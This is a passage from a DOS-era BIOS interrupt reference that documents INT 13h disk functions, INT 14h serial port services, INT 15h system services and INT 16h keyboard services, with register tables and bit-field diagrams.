      AH = status  (see ~INT 13,STATUS~)
      CF = 0 if successful
         = 1 if error
:int 13,f
^INT 13,F - Write Sector Buffer (XT & portable only)


      AH = 0F


      on return:
      AL = number of sectors actually transferred
      AH = status  (see ~INT 13,STATUS~)
      CF = 0 if successful
         = 1 if error
:int 13,10
^INT 13,10 - Test for Drive Ready (XT  & newer)


      AH = 10h
      DL = drive number (0=A:, 1=2nd floppy, 80h=drive 0, 81h=drive 1)


      on return:
      AH = status  (see ~INT 13,STATUS~)
      CF = 0 if successful
         = 1 if error


      - many good programming references indicate this function is only
        available on the AT, PS/2 and later systems, but all hard disk
        systems since the XT have this function available
:int 13,11
^INT 13,11 - Recalibrate Drive (XT & newer)


      AH = 11h
      DL = drive number (0=A:, 1=2nd floppy, 80h=drive 0, 81h=drive 1)


      on return:
      AH = status  (see ~INT 13,STATUS~)
      CF = 0 if successful
         = 1 if error


      - many good programming references indicate this function is only
        available on the AT, PS/2 and later systems, but all hard disk
        systems since the XT have this function available
:int 13,12
^INT 13,12 - Controller RAM Diagnostic (XT & portable only)


      AH = 12h


      on return:
```

```
      AH = status  (see ~INT 13,STATUS~)
      CF = 0 if successful
         = 1 if error
:int 13,13
^INT 13,13 - Drive Diagnostic (XT & portable only)


      AH = 13h


      on return:
      AH = status  (see ~INT 13,STATUS~)
      CF = 0 if successful
         = 1 if error
:int 13,14
^INT 13,14 - Controller Internal Diagnostic (XT & newer)


      AH = 14h


      on return:
      AH = status  (see ~INT 13,STATUS~)
      CF = 0 if successful
         = 1 if error


      - many good programming references indicate this function is only
        available on the AT, PS/2 and later systems, but all hard disk
        systems since the XT have this function available
      - not valid on PS/2 model 30
:int 13,15
^INT 13,15 - Read DASD Type (XT BIOS from 1/10/86 & newer)

      AH = 15h
      DL = drive number (0=A:, 1=2nd floppy, 80h=drive 0, 81h=drive 1)


      on return:
      AH = 00 drive not present
         = 01 diskette, no change detection present
         = 02 diskette, change detection present
         = 03 fixed disk present
      CX:DX = number of fixed disk sectors; if 3 is returned in AH
      CF = 0 if successful
         = 1 if error


      - XT's must have a BIOS date 1/10/86 or newer
      - used to determine if ~INT 13,16~ can detect disk change

      - see ~INT 13,STATUS~
:int 13,16
^INT 13,16 - Change of Disk Status (XT BIOS from 1/10/86 & newer)


      AH = 16h
      DL = drive number (0=A:, 1=2nd floppy, 80h=drive 0, 81h=drive 1)


      on return:
      AH = 00 no disk change
         = 01 disk changed
```

```
      CF = set if disk has been removed or an error occurred


      - used to detect if a disk change has occurred
      - see ~INT 13,STATUS~    ~INT 13,15~

:int 13,17
^INT 13,17 - Set DASD Type for Format (XT BIOS from 1/10/86 & newer)


      AH = 17h
      AL = 00 no disk
         = 01  320k/360k diskette in 320k/360k drive
         = 02  320k/360k diskette in 1.2Mb drive
         = 03  1.2Mb diskette in 1.2Mb drive
         = 04  720k diskette in 720k drive  (BIOS 6/10/85 & newer)
             720K diskette in 1.44Mb drive (PS/2)
             1.44Mb diskette in 1.44Mb drive (PS/2)
      DL = drive number (0=A:, 1=2nd floppy, 80h=drive 0, 81h=drive 1)


      returns nothing


      - only the disk number is checked for validity
      - tells BIOS format routine about the disk type

:int 13,18
^INT 13,18 - Set Media Type for Format (BIOS date specific)


      AH = 18h
      CH = lower 8 bits of number of tracks  (0-1023 dec., see below)
      CL = sectors per track (1-17 dec., see below)
      DL = drive number (0=A:, 1=2nd floppy, 80h=drive 0, 81h=drive 1)


      on return:
      ES:DI = pointer to 11-byte ~Disk Base Table~ (DBT)
      AH = 00h if requested combination supported
         = 01h if function not available
         = 0Ch if not supported or drive type unknown
         = 80h if there is no media in the drive
      CF = 0 if successful
         = 1 if error


      - valid only for XT BIOS dated after 1/10/86, AT after 11/15/86,
        XT 286 and the PS/2 line
      - only disk number is checked for validity
      - track number is a 10 bit value taken from the 2 high order
        bits of CL and the 8 bits in CH (low order 8 bits of track):

        ³F³E³D³C³B³A³9³8³7³6³5³4³3³2³1³0³  CX
         ³ ³ ³ ³ ³ ³ ³ ³ ³ ³ ÀÄÁÄÁÄÁÄÁÄÁÄÁÄÄ   sectors per track count
         ³ ³ ³ ³ ³ ³ ³ ³ ÀÄÁÄÄÄÄÄÄÄÄÄÄÄÄÄÄ  high order 2 bits track/cyl count
         ÀÄÁÄÁÄÁÄÁÄÁÄÁÄÁÄÄÄÄÄÄÄÄÄÄÄÄÄÄ      low order 8 bits of track/cyl count

      - see ~INT 13,STATUS~

:int 13,19
^INT 13,19 - Park Fixed Disk Heads (AT & newer)
```

```
        AH = 19h
        DL = drive number (0=A:, 1=2nd floppy, 80h=drive 0, 81h=drive 1)


        on return:
        AH = status  (see ~INT 13,STATUS~)
        CF = 0 if successful
           = 1 if error


        - available only on AT, XT 283 and PS/2 machines
:int 13,1a
^INT 13,1A - Format Unit (PS/2 model 50+)

        AH = 1Ah
        AL = defect table count
        DL = drive number (0=A:, 1=2nd floppy, 80h=drive 0, 81h=drive 1)
        ES:BX = far pointer to defect table
        CL = modifier bits

                ³7³6³5³4³3³2³1³0³  Format Unit Modifier Bits
                 ³ ³ ³ ³ ³ ³ ³ ÀÄÄÄÄ 1=ignore primary defect map, 0=use map
                 ³ ³ ³ ³ ³ ³ ÀÄÄÄÄÄ 1=ignore secondary defect map, 0=use map
                 ³ ³ ³ ³ ³ ÀÄÄÄÄÄÄ 1=update secondary defect map, 0=don't
                 ³ ³ ³ ³ ÀÄÄÄÄÄÄÄ 1=do extended surface analysis, 0=don't
                 ³ ³ ³ ÀÄÄÄÄÄÄÄÄ 1=periodic interrupt status on, 0=off
                 ÀÄÁÄÁÄÁÄÄÄÄÄÄÄÄ reserved

        returns nothing

        - only the disk number is checked for validity
        - see ~INT 13,STATUS~
:int 14:BIOS serial services:BIOS communications:int 14,status
^INT 14 - BIOS Asynchronous Communications Services

%       For more information, see the following topics:

        ~INT 14,0~  Initialize serial port parameters
        ~INT 14,1~  Send character in AL
        ~INT 14,2~  Receive character in AL
        ~INT 14,3~  Get Serial port status
        ~INT 14,4~  Extended initialize  (PS/2)
        ~INT 14,5~  Extended communication port control (PS/2)


        - all functions have:
          AH = function number
          AL = character to send or receive
          DX = zero based RS232 card number
        - all registers are preserved except AX
        - these functions use hardware flow control
        - used by DOS MODE to redirect LPTx output to a serial device
        - see individual functions for more data


^BIOS Asynchronous Communications Services (Status)

                ³7³6³5³4³3³2³1³0³  AL  modem status
                 ³ ³ ³ ³ ³ ³ ³ ÀÄÄÄÄ clear to send status changed
                 ³ ³ ³ ³ ³ ³ ÀÄÄÄÄÄ data set ready status changed
                 ³ ³ ³ ³ ³ ÀÄÄÄÄÄÄ trailing edge ring indicator
                 ³ ³ ³ ³ ÀÄÄÄÄÄÄÄ receive line signal changed
```

```
             ³ ³ ³ ÀÄÄÄÄÄÄÄÄ clear to send
             ³ ³ ÀÄÄÄÄÄÄÄÄÄ data set ready
             ³ ÀÄÄÄÄÄÄÄÄÄÄ ring indicator
             ÀÄÄÄÄÄÄÄÄÄÄÄ receive line signal detected

            ³7³6³5³4³3³2³1³0³  AH  port status
             ³ ³ ³ ³ ³ ³ ³ ÀÄÄÄÄ data ready
             ³ ³ ³ ³ ³ ³ ÀÄÄÄÄÄ overrun error
             ³ ³ ³ ³ ³ ÀÄÄÄÄÄÄ parity error
             ³ ³ ³ ³ ÀÄÄÄÄÄÄÄ framing error
             ³ ³ ³ ÀÄÄÄÄÄÄÄÄ break detect
             ³ ³ ÀÄÄÄÄÄÄÄÄÄ transmit holding register empty
             ³ ÀÄÄÄÄÄÄÄÄÄÄ transmit shift register empty
             ÀÄÄÄÄÄÄÄÄÄÄÄ time out (N/A for functions 1 and 2)

:int 14,0
^INT 14,0 - Initialize Communications Port Parameters

      AH = 00
      AL = parms for initialization (see tables below)
      DX = zero based serial port number (0-1) (0-3 for AT)

      ³7³6³5³4³3³2³1³0³  AL                  Parity (bits 4 & 3)
       ³ ³ ³ ³ ³ ³ ÀÄÁÄÄÄÄ word length bits          00 = none
       ³ ³ ³ ³ ³ ÀÄÄÄÄÄÄÄ stop bits flag         01 = odd
       ³ ³ ³ ÀÄÁÄÄÄÄÄÄÄÄÄ parity bits                10 = none
       ÀÄÁÄÁÄÄÄÄÄÄÄÄÄÄÄÄÄ baud rate bits          11 = even

%     Word length (bits 1 & 0)         Stop bit count (bit 2)

         10 = 7 bits                     0 = 1 stop bit
         11 = 8 bits                     1 = 2 stop bits

%     Baud rate (bits 7, 6 & 5)

      000 = 110 baud       100 = 1200 baud
      001 = 150 baud       101 = 2400 baud
      010 = 300 baud       110 = 4800 baud
      011 = 600 baud       111 = 9600 baud (4800 on PCjr)


      on return:
      AH = port status
      AL = modem status


      - for status bits see ~INT 14,STATUS~

:int 14,1
^INT 14,1 - Send Character to Communications Port


      AH = 01
      AL = character to send
      DX = zero based serial port number (0-1) (0-3 for AT)


      on return:
      AH = port status  (see ~INT 14,STATUS~)
           bit 7=0 indicates success
           bit 7=1 indicates error, bits 0-6 indicate cause
```

```
      - ~INT 14,3~ should be used to determine the actual cause
        of the error since the time-out bit of the status register
        is always set during an error on this call
      - uses hardware flow control
:int 14,2
^INT 14,2 - Receive Character from Communications Port

      AH = 02
      DX = zero based serial port number (0-1) (0-3 for AT)


      on return:
      AH = port status  (see ~INT 14,STATUS~)
           bit 7 = 0 if successful
           bit 7 = 1 if call failed
      AL = character received if call was success


      - ~INT 14,3~ should be used to determine the actual cause of
        the error since the time-out bit of the status register is
        always set during an error on this call
      - uses hardware flow control
:int 14,3
^INT 14,3 - Get Serial Port Status


      AH = 03
      DX = zero based serial port number (0-1) (0-3 for AT)


      on return:
      AH = port status
      AL = modem status

      - for status bits see ~INT 14,STATUS~
      - the status check performs a poll of the port and does not
        perform character I/O
:int 14,4
^INT 14,4 - Serial Port Extended Initialization (PS/2 & later systems)

      AH = 04
      AL = break setting
      BH = parity setting
      BL = stop bit setting
      CH = word length setting
      CL = baud rate setting
      DX = zero based serial port number (0-3)

%                  --- Break Setting ---
                       1 = break
                       0 = no break

%     ----- Parity Setting -----      --- Stop Bit Setting ---

         0 = no parity           0 = one stop bit
         1 = odd parity          1 = 2 stop bits
         2 = even parity                   1« if register CH=0
         3 = stick parity odd              (5 bit word length)
         4 = stick parity even

%     -- Word Length Setting --     ---- Baud rate Setting ----

             0 = 5 bits         0 = 110   5 = 2400
```

```
              1 = 6 bits         1 = 150   6 = 4800
              2 = 7 bits         2 = 300   7 = 9600
              3 = 8 bits         3 = 600   8 = 19200
                                 4 = 1200

       on return:
       AH = port status
       AL = modem status


       - for status bits see ~INT 14,STATUS~

:int 14,5
^INT 14,5 - Extended Communication Port Control (PS/2 & later systems)

       AH = 05
       AL = read or write modem control register
          = 00 read modem control register
          = 01 read modem control register
       DX = zero based serial port number (0-1) (0-3 for AT)

       BL = modem control register

             ³7³6³5³4³3³2³1³0³ BL
              ³ ³ ³ ³ ³ ³ ³ ÀÄÄÄÄ 1 = activate data terminal ready
              ³ ³ ³ ³ ³ ³ ÀÄÄÄÄÄ 1 = activate request to send
              ³ ³ ³ ³ ³ ÀÄÄÄÄÄÄ OUT1
              ³ ³ ³ ³ ÀÄÄÄÄÄÄÄ OUT2
              ³ ³ ³ ÀÄÄÄÄÄÄÄÄ 0 = normal, 1 = loopback test
              ÀÄÁÄÁÄÄÄÄÄÄÄÄÄ reserved, forced to zero

       on return:
       AH = port status
       AL = modem status
       BL = ~UART~ modem control register

       - for status bits see ~INT 14,STATUS~

:int 15:BIOS system services:system interrupts
^INT 15 - System BIOS Services

^For more information see the following topics:

        ~INT 15,0~  Turn cassette motor on (PC,PCjr only)
        ~INT 15,1~  Turn cassette motor off (PC,PCjr only)
        ~INT 15,2~  Read blocks from cassette (PC,PCjr only)
        ~INT 15,3~  Write blocks to cassette (PC,PCjr only)
        ~INT 15,F~  PS/2 format periodic interrupt (PS/2 only)
       ~INT 15,20~  PRINT.COM Critical region flag (undocumented DOS 3.x+)
       ~INT 15,21~  PS/2 power on self test (PS/2 except 30)
       ~INT 15,40~  Read / modify profiles (convertible only)
       ~INT 15,41~  Wait on external event (convertible only)
       ~INT 15,42~  Request system power off (convertible only)
       ~INT 15,43~  Read system status (convertible only)
       ~INT 15,44~  (De)activate internal modem power (convertible)
       ~INT 15,4F~  Keyboard intercept  (BIOS date specific)
       ~INT 15,80~  Device open
       ~INT 15,81~  Device close
       ~INT 15,82~  Program termination
       ~INT 15,83~  Event wait
       ~INT 15,84~  Joy-Stick support
       ~INT 15,85~  System request key pressed
       ~INT 15,86~  Elapsed time wait (AT and after)
```

```
	~INT 15,87~  Move block to/from extended memory
	~INT 15,88~  Extended memory size determination
	~INT 15,89~  Switch processor to protected mode
	~INT 15,90~  Device busy
	~INT 15,91~  Interrupt complete
	~INT 15,C0~  Return system configuration parameters (PS/2 only)
	~INT 15,C1~  Return extended BIOS data address (PS/2 only)
	~INT 15,C2~  Pointing device BIOS interface (PS/2 only)
	~INT 15,C3~  Enable/Disable watchdog timer
	~INT 15,C4~  Programmable option select


	- CF is set and AX is left unchanged if a function requested in AH
	  isn't supported
	- some Tandy BIOS's fail to restore interrupts on return from INT 15

:int 15,0
^INT 15,0 - Turn Cassette Motor On (PC,PCjr only)


	AH = 00


	- all programs using the cassette must actually turn on
	  the device before use
	- there is a noticeable delay between turn-on and device ready
	- a noticeable clicking noise can be heard by switching the
	  cassette on and off

	- see ~INT 15,1~

:int 15,1
^INT 15,1 - Turn Cassette Motor Off (PC,PCjr only)


	AH = 01


	- all programs using the cassette should turn off
	  the device after use
	- a noticeable clicking noise can be heard by switching the
	  cassette on and off

	- see  ~INT 15,0~

:int 15,2
^INT 15,2 - Read Blocks from Cassette (PC,PCjr only)

	AH = 02
	CX = count of bytes to read
	ES:BX = pointer to data buffer


	on return:

	AH = error code if CF=1
	   = 1      if CRC error
	   = 2      data transition lost, (bit signal scrambled)
	   = 3      no data found on tape

	DX = count of bytes actually read
	ES:BX = pointer to byte following last byte read
```

```
      - data is transferred in 256 byte blocks, though only the
        number of bytes requested are actually stored

:int 15,3
^INT 15,3 - Write Blocks to Cassette (PC,PCjr only)


      AH = 03
      CX = count of bytes to write
      ES:BX = pointer to data buffer


      on return:

      CX = zero
      ES:BX = pointer to byte following last byte written


      - data is actually written in 256 byte blocks
      - if CX is less than 256, then the block is padded
      - no error detection/correction is available for writing

:int 15,f
^INT 15,F - Format Periodic Interrupt (PS/2 only)

      AH = 0F
      AL = phase code
         = 00  reserved
         = 01  surface analysis
         = 02  formatting

      on return:
      CF = 0 continue formatting/scanning
         = 1 end of format/scanning

      - after formatting/scanning each cylinder the formatting
        routine calls this interrupt
      - may be used by a program to gain control after formatting
        a cylinder
      - if invoked from a non-PS/2 CF=1 and AH contains the following
        AH = 80h  for PC and PCjr
           = 86h  on most other machines
:int 15,20
^INT 15,20 - PRINT.COM Critical Region Flag (undocumented DOS 3.x+)

      AH = 20h
      AL = 00  disable user critical region flag
         = 01  enable user critical region flag
      ES:BX = pointer to user critical region flag byte (AH = 1)


      returns nothing


      - provides PRINT.COM with the address of a byte to increment on
        entry to DOS functions
      - see ~bibliography~ reference for "Undocumented DOS"
:int 15,21
^INT 15,21 - Power On Self Test (POST) Error Log  (PS/2 except 30)

      AH = 21h
      AL = 00 read POST error log
```

```
         = 01 write error code to POST error log
      BH = Device code  (if write)
      BL = Device error  (if write)

      on return
      CF = 0 if successful
         = 1 if in error (AH contains code)

%     if reading POST error log:
         AH = 00h if successful
            = 80h (PCjr and PC)      = 86h for all other machines
         BX = number of POST error codes stored
         ES:DI pointer to POST error log

%     if writing POST error log:
         AH = 00h if successful      = 01 POST error log full
            = 80h (PCjr and PC)      = 86h for all other machines
:int 15,40
^INT 15,40 - Read / Modify Profiles (convertible only)


      AH = 40h

      AL = 00 - return system profile in CX,BX
           01 - modify system profile
           CX,BX = profile info


      AL = 02 - return internal modem profile in BX


      AL = 03 - modify internal modem profile
           BX = profile info

:int 15,41
^INT 15,41 - Wait on External Event (convertible only)

      AH = 41h
      AL = condition type:

            ³7³6³5³4³3³2³1³0³  AL
             ³  ³  ³  ³  ³ ÀÄÁÄÁÄÄÄÄ conditions (codes) to wait for
             ³  ³  ³  ³ ÀÄÄÄÄÄÄÄÄÄÄ reserved
             ³  ³  ³ ÀÄÄÄÄÄÄÄÄÄÄÄÄ 1=port address/0=user byte
             ÀÄÁÄÁÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ reserved

%     Condition codes:

           0 = any external event
           1 = compare and return if equal
           2 = compare and return if not equal
           3 = test and return if not zero
           4 = test and return if zero

      BH = condition compare or mask value
      BL = time-out value times 55 ms, 0 if no time limit
      DX = I/O port address (if AL bit 4 = 1)
      ES:DI = pointer to user byte (if AL bit 4 = 0)

:int 15,42
^INT 15,42 - Request System Power Off (convertible only)
```

```
      AH = 42h

      AL = 00 to use system profile
         = 01 to force suspend regardless of profile
```

:int 15,43
^INT 15,43 - Read System Status (convertible only)

```
      AH = 43h


      on return
      AL = STATUS:

            ³7³6³5³4³3³2³1³0³  AL
             ³ ³ ³ ³ ³ ³ ³ ÀÄÄÄÄ LCD detached
             ³ ³ ³ ³ ³ ³ ÀÄÄÄÄÄ reserved
             ³ ³ ³ ³ ³ ÀÄÄÄÄÄÄÄ RS232/parallel powered on
             ³ ³ ³ ³ ÀÄÄÄÄÄÄÄÄ internal modem powered on
             ³ ³ ³ ÀÄÄÄÄÄÄÄÄÄ power activated by alarm
             ³ ³ ÀÄÄÄÄÄÄÄÄÄÄ standby power lost
             ³ ÀÄÄÄÄÄÄÄÄÄÄÄ external power in use
             ÀÄÄÄÄÄÄÄÄÄÄÄÄ battery low
```

:int 15,44
^INT 15,44 - (De)activate Internal Modem Power (convertible)

```
      AH = 44h

      AL = 00 to power off
         = 01 to power on
```

:int 15,4f
^INT 15,4F - Keyboard Intercept (BIOS date specific)

```
      AH = 4F
      AL = scan code
      CF = set to 1 (via STC instruction)

      on return

      AH = 80h, CF set  (PC, PCjr)
         = 86h, CF set  (XT BIOS 11/8/82, AT BIOS 1/10/84)
      AL = CF set, new scan code
         = CF clear, original scancode


      - available with XT BIOS after 11/8/82, AT BIOS after 1/10/84
      - called by ~INT 9~, makes allowance for keyboard translation
      - normally returns the scan code in AL, with CF set
      - if function returns with CF clear, INT 9 ignores keystroke
      - do not rely on this function being called for each INT 9 since
        any user INT 9 handler can exit prematurely and circumvent
        this function
```
:int 15,80
^INT 15,80 - Device Open

```
      AH = 80h
      BX = device id
      CX = process id
```

```
        on return:
        CF = 0 if successful
           = 1 if error
        AH = 80h for PC & PCjr
           = 86h for XT (BIOS after 11/8/82)


        - available on the AT, XT 286, PS/2 and XT with BIOS after 11/8/82
        - designed for use in simple multitasking

:int 15,81
^INT 15,81 - Device Close


        AH = 81h
        BX = device id
        CX = process id


        on return:
        CF = 0 if successful
           = 1 if error
        AH = 80h for PC & PCjr
           = 86h for XT (BIOS after 11/8/82)


        - available on the AT, XT 286, PS/2 and XT with BIOS after 11/8/82
        - designed for use in simple multitasking

:int 15,82
^INT 15,82 - Program Termination


        AH = 82h
        BX = device id


        on return:
        CF = 0 if successful
           = 1 if error
        AH = 80h for PC & PCjr
           = 86h for XT (BIOS after 11/8/82)


        - available on the AT, XT 286, PS/2 and XT with BIOS after 11/8/82
        - designed for use in simple multitasking

:int 15,83
^INT 15,83 - Event Wait


        AH = 83h
        AL = 0      set interval
           = 1      cancel interval (PS/2)
        CX,DX = number of microseconds to wait (976 æs resolution)
        ES:BX = pointer to memory flag (bit 7 is set
              when interval expires)
                (granularity is 976 microseconds)


        on return:
```

```
	CF = 1 if function already busy
	AH = 80h for PC
	   = 86h for XT & AT


	- available on the AT (BIOS after 1/10/84) and PS/2's except 30
	- designed for use in simple multitasking
```

:int 15,84
^INT 15,84 - Joy-Stick Support

```
	AH = 84h
	DX = 0 to read the current switch settings
	   = 1 to read the ~joystick~ position (resistive inputs)


	on return (DX=0, read switch setting):
	CF = 0 if successful
	   = 1 if error
	AH = 80h error code if CF set on PC
	   = 86h error code if CF set on XT before 11/8/82
	AL = switch settings in bits 7-4 (if read switch function)

	on return (DX=1, read joystick position):
	AX = A(X)
	BX = A(Y)
	CX = B(X)
	DX = B(Y)
```

:int 15,85
^INT 15,85 - System Request Key Pressed

```
	AH = 85h
	AL = 00 key pressed
	   = 01 key released


	on return:
	CF = 0 if successful
	   = 1 if error
	AH = 80h for PC or PCjr
	   = 86h for XT (BIOS after 11/8/82)


	- called by BIOS when the System Request key is pressed/released
	- available on machines with newer BIOS and keyboards
```

:int 15,86
^INT 15,86 - Elapsed Time Wait (AT and PS/2)

```
	AH = 86h
	CX,DX = number of microseconds to wait (976 æs resolution)


	on return:
	CF = set if error (PC,PCjr,XT)
	   = set if wait in progress
	   = clear if successful wait
	AH = 80h for PC and PCjr
	   = 86h for XT
```

```
      - AT and PS/2 only for system timing
      - not designed for user application usage

:int 15,87
^INT 15,87 - Move Block to/from Extended Memory

      AH = 87h
      CX = word count of block to be moved
      ES:SI = pointer to Global Descriptor Table (~GDT~)


      on return:
      CF = 0      if successful (AH contains return code)
         = 1      if error detected
      AH = 0      operation successful (ZF also set)
         = 1      RAM parity error  (if CF set)
         = 2      other exception (if CF set)
         = 3      gate address on line 20h failed (if CF set)
         = 80h on PC and PCjr (if CF set)
         = 86h on XT and newer 808x machines (if CF set)

      - transfers data blocks to and from extended memory on 80286
        and 80386 machines by switching from real to protected mode
        for the duration of the transfer
      - all real mode interrupts are disabled
      - processor shuts down during the switch from protected mode
        to real mode on 286 processors
:int 15,88
^INT 15,88 - Extended Memory Size Determination


      AH = 88h


      on return:
      CF = 80h for PC, PCjr
         = 86h for XT and Model 30
         = other machines, set for error, clear for success
      AX = number of contiguous 1k blocks of memory starting
           at address 1024k (100000h)


      - works only on 80286 and 80386 machines
      - retrieves bytes 30 and 31 from the ~CMOS~ RAM (this data is set
        by the boot memory scan
:int 15,89
^INT 15,89 - Switch Processor to Protected Mode

      AH = 89h
      BH = IRQ8 interrupt vector offset
      BL = IRQ0 interrupt vector offset
      CX = offset into protected mode CS to jump
      ES:SI = pointer to Global Descriptor Table (~GDT~)


      on return:
      CF = 0 if successful
         = 1 if error

      - switches 286 and 386 machines into protected mode to take
        advantage of advanced feature and extended memory
```

```
      - Global descriptor table must be setup before interrupt
      - normal BIOS functions are not available after the switch
:int 15,90
^INT 15,90 - Device Busy

      AH = 90h
      AL = type code:
         = 00  disk
         = 01  diskette
         = 02  keyboard
         = 03  pointing device
         = 80  network (ES:BX = NCB)
         = FC  fixed disk reset (PS/2)
         = FD  diskette motor start
         = FE  printer
      ES:BX = pointer to network control block if waiting for network

      on return:
      CF = 0 if wait not satisfied
         = 1 if wait time satisfied
      AH = when CF set, 80h for PC & PCjr, 86h for XT (BIOS 11/8/82)

      - tells the OS a a program is about to wait for a device
      - used for multitasking OS development
:int 15,91
^INT 15,91 - Interrupt Complete

      AH = 91h

      on return:
      CF = 0 if successful
         = 1 if error
      AH = when CF set, 80h for PC & PCjr, 86h for XT (BIOS 11/8/82)
      AL = type code:
         = 00  disk
         = 01  diskette
         = 02  keyboard
         = 03  pointing device
         = 80  network (ES:BX = NCB)
         = FC  fixed disk reset (PS/2)
         = FD  diskette motor start
         = FE  printer

      - should not be used by applications software
      - used by the BIOS to indicate device interrupt is complete
      - used for multitasking OS development
:int 15,c0
^INT 15,C0 - Return System Configuration Parameters (PS/2 only)

      AH = C0

      on return:
      CF = 0 if successful
         = 1 if error
      AH = when CF set, 80h for PC & PCjr, 86h for XT
           (BIOS after 11/8/82) and AT (BIOS after 1/10/84)

      ES:BX = pointer to system descriptor table in ROM of the format:

%     Offset Size      Description

        00   word   length of descriptor (8 minimum)
        02   byte   model byte (same as F000:FFFE, not reliable)
```

```
          03   byte   secondary model byte
          04   byte   BIOS revision level (zero based)
          05   byte   feature information, see below
          06   dword  reserved


%     Feature Information

      ³7³6³5³4³3³2³1³0³  Feature Byte
       ³ ³ ³ ³ ³ ³ ³ ÀÄÄÄÄ reserved
       ³ ³ ³ ³ ³ ³ ÀÄÄÄÄÄ 0=PC bus, 1=Micro Channel
       ³ ³ ³ ³ ³ ÀÄÄÄÄÄÄ Extended BIOS Data Area (~EBDA~)allocated
       ³ ³ ³ ³ ÀÄÄÄÄÄÄÄ wait for external event supported
       ³ ³ ³ ÀÄÄÄÄÄÄÄÄ ~INT 15,4F~ used (kbd intercept)
       ³ ³ ÀÄÄÄÄÄÄÄÄÄ ~RTC~ present
       ³ ÀÄÄÄÄÄÄÄÄÄÄ 2nd ~8259~ present
       ÀÄÄÄÄÄÄÄÄÄÄÄ DMA channel 3 used by fixed disk BIOS

      - see ~MACHINE ID~

:int 15,c1
^INT 15,C1 - Return Extended BIOS Data Area Segment (PS/2 only)


      AH = C1


      on return:
      CF = 0 if successful
         = 1 if error
      AH = when CF set, 80h for PC & PCjr, 86h for XT (BIOS 11/8/82)
      ES = ~EBDA~ segment address if PS/2


      - the EBDA is used internally by the PS/2 BIOS routines
      - the EBDA is allocated at the top of user memory by the ~POST~
        routine

:int 15,c2
^INT 15,C2 - Pointing Device BIOS Interface  (PS/2 only)

      AH = C2
      AL = 0      enable/disable pointing device (BH contains flag)
         = 1      reset pointing device
         = 2      set sample rate
         = 3      set resolution
         = 4      read device type
         = 5      pointing device initialization
         = 6      extended commands
         = 7      pointing device far call initialization
      BH = 0 indicates enable for AL = 0
         = 1 indicates disable for AL = 0


      on return:
      CF = 0 if successful
         = 1 if error
      AH = when CF set, 80h for PC & PCjr, 86h for XT, AT
         = 01  invalid function call
         = 02  invalid input
         = 03  interface error
         = 04  resend
         = 05  no far call installed
```

```
:int 15,c3
^INT 15,C3 - Enable/Disable Watchdog Timer  (PS/2)

      AH = C3
      AL = 0      disable watchdog time-out
         = 1      enable watchdog time-out
      BX = watchdog timer count (1-255)

      on return:
      CF = 0 if successful
         = 1 if error
      AH = when CF set, 80h for PC & PCjr, 86h for XT, AT & Model 30


      - the watchdog timer is available only on PS/2 with 80286 and
        80386 processors.
      - the ~timer~ uses channel timer channel 3 and IRQ0.  Activated
        when IRQ0 is active for more than one channel 0 timer cycle,
        which causes the timer to be decremented.   When the watch-
        dog timer reaches 0, and NMI is generated.
:int 15,c4
^INT 15,C4 - Programmable Option Select  (PS/2)

      AH = C4
      AL = 0      get Programmable Option Select adapter register address
         = 1      enable slot for setup
         = 2      adapter enable


      on return:
      CF = 0 if successful
         = 1 if error
      AH = when CF set, 80h for PC & PCjr, 86h for XT, AT & 30
      BL = slot number (function AL=1)
      DL = POS adapter register address (function AL=0)


      - allows access to PS/2 Programmable Option Select registers
      - available on 80286 and 80386 PS/2's

:int 16:BIOS keyboard services
^INT 16 - Keyboard BIOS Services


^For more information, see the following topics:

      ~INT 16,0~   Wait for keystroke and read
      ~INT 16,1~   Get keystroke status
      ~INT 16,2~   Get shift status
      ~INT 16,3~   Set keyboard typematic rate (AT+)
      ~INT 16,4~   Keyboard click adjustment (AT+)
      ~INT 16,5~   Keyboard buffer write  (AT,PS/2 enhanced keyboards)
      ~INT 16,10~  Wait for keystroke and read  (AT,PS/2 enhanced keyboards)
      ~INT 16,11~  Get keystroke status  (AT,PS/2 enhanced keyboards)
      ~INT 16,12~  Get shift status  (AT,PS/2 enhanced keyboards)


      - with IBM BIOS's, INT 16 functions do not restore the flags to
        the pre-interrupt state to allow returning of information via
        the flags register
      - functions 3 through 12h are not available on all AT machines
        unless the extended keyboard BIOS is present
```

```
      - all registers are preserved except AX and FLAGS
      - see ~SCAN CODES~
:int 16,0
^INT 16,0 - Wait for Keypress and Read Character


      AH = 00


      on return:
      AH = keyboard scan code
      AL = ASCII character or zero if special function key


      - halts program until key with a scancode is pressed
      - see  ~SCAN CODES~

:int 16,1
^INT 16,1 - Get Keyboard Status


      AH = 01


      on return:
      ZF = 0 if a key pressed (even Ctrl-Break)
      AX = 0 if no scan code is available
      AH = ~scan code~
      AL = ASCII character or zero if special function key


      - data code is not removed from buffer
      - ~Ctrl-Break~ places a zero word in the keyboard buffer but does
        register a keypress.
:int 16,2
^INT 16,2 - Read Keyboard Flags

      AH = 02


      on return:
      AL = BIOS keyboard flags (located in ~BIOS Data Area~ 40:17)

            ³7³6³5³4³3³2³1³0³  AL or BIOS Data Area 40:17
             ³ ³ ³ ³ ³ ³ ³ ÀÄÄÄÄ right shift key depressed
             ³ ³ ³ ³ ³ ³ ÀÄÄÄÄÄ left shift key depressed
             ³ ³ ³ ³ ³ ÀÄÄÄÄÄÄ CTRL key depressed
             ³ ³ ³ ³ ÀÄÄÄÄÄÄÄ ALT key depressed
             ³ ³ ³ ÀÄÄÄÄÄÄÄÄ scroll-lock is active
             ³ ³ ÀÄÄÄÄÄÄÄÄÄ num-lock is active
             ³ ÀÄÄÄÄÄÄÄÄÄÄ caps-lock is active
             ÀÄÄÄÄÄÄÄÄÄÄÄ insert is active
:int 16,3
^INT 16,3 - Set Keyboard Typematic Rate  (AT+)

      AH = 03
      AL = 00  set typematic rate to default
           01  increase initial delay
           02  slow typematic rate by 1/2
           04  turn off typematic chars
           05  set typematic rate/delay

      BH = repeat delay (AL=5)
```

```
           0 = 250ms       2 = 750ms
           1 = 500ms       3 = 1000ms
      BL = typematic rate, one of the following  (AL=5)

           00 - 30.0        01 - 26.7        02 - 24.0        03 - 21.8
           04 - 20.0        05 - 18.5        06 - 17.1        07 - 16.0
           08 - 15.0        09 - 13.3        0A - 12.0        0B - 10.9
           0C - 10.0        0D - 9.2         0E - 8.6   0F - 8.0
           10 - 7.5         11 - 6.7         12 - 6.0   13 - 5.5
           14 - 5.0         15 - 4.6         16 - 4.3   17 - 4.0
           18 - 3.7         19 - 3.3         1A - 3.0   1B - 2.7
